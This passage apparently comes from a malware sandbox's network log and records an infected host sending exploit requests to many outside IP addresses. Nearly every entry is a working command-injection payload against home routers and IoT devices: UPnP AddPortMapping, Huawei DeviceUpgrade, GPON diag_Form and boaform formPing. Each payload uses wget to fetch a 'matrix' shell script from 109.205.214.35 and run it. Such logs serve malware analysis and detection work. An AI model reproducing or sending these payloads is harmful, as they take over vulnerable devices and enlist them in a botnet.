Mar 21, 2024 05:17:29.085110903 CET	975	OUT	POST /wanipcn.xml HTTP/1.1 Host: 127.0.0.1:52869 Content-Length: 630 Accept-Encoding: gzip, deflate SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) Connection: keep-alive Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6d 61 74 72 69 78 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 20 2d 4f 20 6d 61 74 72 69 78 3b 20 63 68 6d 6f 64 20 37 37 37 20 6d 61 74 72 69 78 3b 20 2e 2f 6d 61 74 72 69 78 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf matrix; wget http://109.205.214.35/matrixexp.sh -O matrix; chmod 777 matrix; ./matrix realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
Mar 21, 2024 05:17:48.026487112 CET	975	OUT	POST /wanipcn.xml HTTP/1.1 Host: 127.0.0.1:52869 Content-Length: 630 Accept-Encoding: gzip, deflate SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) Connection: keep-alive Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6d 61 74 72 69 78 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 20 2d 4f 20 6d 61 74 72 69 78 3b 20 63 68 6d 6f 64 20 37 37 37 20 6d 61 74 72 69 78 3b 20 2e 2f 6d 61 74 72 69 78 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf matrix; wget http://109.205.214.35/matrixexp.sh -O matrix; chmod 777 matrix; ./matrix realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
Mar 21, 2024 05:18:24.889422894 CET	975	OUT	POST /wanipcn.xml HTTP/1.1 Host: 127.0.0.1:52869 Content-Length: 630 Accept-Encoding: gzip, deflate SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) Connection: keep-alive Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6d 61 74 72 69 78 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 20 2d 4f 20 6d 61 74 72 69 78 3b 20 63 68 6d 6f 64 20 37 37 37 20 6d 61 74 72 69 78 3b 20 2e 2f 6d 61 74 72 69 78 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf matrix; wget http://109.205.214.35/matrixexp.sh -O matrix; chmod 777 matrix; ./matrix realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
269	192.168.2.23	45296	213.243.29.14	1723

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:11.672455072 CET	270	OUT	GET /boaform/admin/formPing?target_addr=;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27/&waninf=1_INTERNET_R_VID_154$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix

Session ID	Source IP	Source Port	Destination IP	Destination Port
270	192.168.2.23	43162	156.77.131.75	37215

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:12.028759003 CET	826	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 20 2d 6c 20 2f 74 6d 70 2f 2e 6d 61 74 72 69 78 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 6d 61 74 72 69 78 3b 20 2f 74 6d 70 2f 2e 6d 61 74 72 69 78 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 109.205.214.35 -l /tmp/.matrix -r /mips; /bin/busybox chmod 777 * /tmp/.matrix; /tmp/.matrix)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
271	192.168.2.23	54948	178.214.42.178	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:12.061423063 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
272	192.168.2.23	46302	109.13.170.207	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:12.061456919 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
273	192.168.2.23	52932	79.220.18.8	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:12.061487913 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
274	192.168.2.23	51298	37.145.156.164	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:12.061523914 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
275	192.168.2.23	37132	178.100.196.156	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:12.061559916 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
276	192.168.2.23	35392	2.252.100.77	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:12.061583042 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
277	192.168.2.23	33614	37.196.39.235	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:12.061614990 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
278	192.168.2.23	46652	5.215.137.171	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:12.061661959 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
279	192.168.2.23	45424	37.172.188.107	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:12.061686039 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
280	192.168.2.23	34206	94.133.199.169	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:12.061753035 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
281	192.168.2.23	59026	138.36.137.3	8080

Timestamp	Bytes transferred	Direction	Data
